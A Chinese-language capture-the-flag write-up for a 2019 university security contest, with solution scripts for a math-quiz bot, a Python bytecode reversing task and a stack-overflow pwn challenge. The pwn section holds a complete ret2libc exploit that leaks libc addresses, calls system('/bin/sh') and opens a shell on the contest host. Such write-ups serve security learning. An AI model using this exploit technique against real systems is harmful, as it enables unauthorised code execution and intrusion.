廣東外語外貿大學第三屆網絡安全大賽Writeup

廣東外語外貿大學第三屆網絡安全大賽Writeup

官方WP:https://github.com/gwht/2019GWCTF/tree/master/

Msic

math

是男人就下150層嘛,也就是答對150次計算題就返回 flag 嘛。這道題與 pwnable.kr 的一道題很像。題目有作答時間限制,所以用腳本跑吧。可能是人品問題,跑了很多次,最好的就是回答到 147 之後就鏈接斷了(垃圾校園網?)。

最終EXP:

from pwn import *
context.log_level = 'debug'

p = remote("183.129.189.60",10034)

n = 0
while n<150:
	p.recvuntil("Math problem: ")
	math = p.recvuntil("=")[:-2]
	p.sendline(str(eval(math)))
	sleep(1)
	n += 1
else:
    p.sendline("cat flag")

RE

pyre

python文件的反編譯。這裏使用的是工具Easy Python Decompiler,或者可以在線python反編譯(可能存在重複代碼bug)。

反編譯得到的源碼:

# Embedded file name: encode.py
print 'Welcome to Re World!'
print 'Your input1 is your flag~'
l = len(input1) #23
for i in range(l):
    num = ((input1[i] + i) % 128 + 128) % 128
    code += num

for i in range(l - 1):
    code[i] = code[i] ^ code[i + 1]

print code
code = ['\x1f', '\x12', '\x1d', '(', '0', '4', '\x01', '\x06', '\x14', '4', ',', '\x1b', 'U', '?', 'o', '6', '*', ':', '\x01', 'D', ';', '%', '\x13']

這裏就是一個加密程序,逆算法就可以了。源碼中的第一個 for 循環裏面分兩種情況(小於128、大於128)帶入數據計算後,得出簡化加密:(input1[i] + i) % 128

第二個 for 循環中的是列表連續異或,解密時需要從尾部開始再次進行異或。

最終EXP:

a = ['\x1f', '\x12', '\x1d', '(', '0', '4', '\x01', '\x06', '\x14', '4', ',', '\x1b', 'U', '?', 'o', '6', '*', ':', '\x01', 'D', ';', '%', '\x13']
l = len(a)
print l
a = map(ord,a)
for i in range(l-1,0,-1):
	a[i-1] = a[i-1]^a[i]
code = ''
for i in range(l):
	num = (a[i]-i) % 128
	code += chr(num)
print code

Pwn

史上最簡單的pwn

32位 C++ 編寫的程序,運行(或)需要安裝libc:sudo aptitude -f install lib32stdc++6

棧溢出題目,選擇的溢出變量爲 s 。單單才變量信息看上去沒有問題,不存在溢出。

但是後面的會將字符串中的 I 替換爲 pretty。只用 I 夠多就能覆寫 eip。

最終EXP:

#coding:utf-8
from pwn import *
context.log_level = 'debug'
elf = ELF('./easy_pwn')
local = 0
if local:
	p = process('./easy_pwn')
	libc = elf.libc
else:
	p = remote("183.129.189.60","10025")
	libc = ELF('./libc6-i386_2.23.so')
main = 0x80492F5

sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
sda = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)

# 泄露 libc 地址
ru("name!\n")
pay = 'I'*0x10 
pay += p32(elf.plt['puts']) + p32(main) + p32(elf.got['puts'])
# gdb.attach(p,"b *0x80490CB")

# 計算函數 system 和字符串 /bin/sh 的地址
sl(pay)
ru('\n')
puts_addr = u32(rc(4))
libc_base = puts_addr - libc.symbols['puts']
system = libc_base + libc.symbols['system']
binsh = libc_base + libc.search("/bin/sh\x00").next()
log.warn("puts_addr --> %s",hex(puts_addr))
log.warn("system --> %s",hex(system))
log.warn("binsh --> %s",hex(binsh))
log.warn("libc_base --> %s",hex(libc_base))

ru("name!\n")
pay = 'I'*0x10
pay += p32(system) + p32(main) + p32(binsh)
# gdb.attach(p,"b *0x80490CB")
sl(pay)

p.interactive()
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章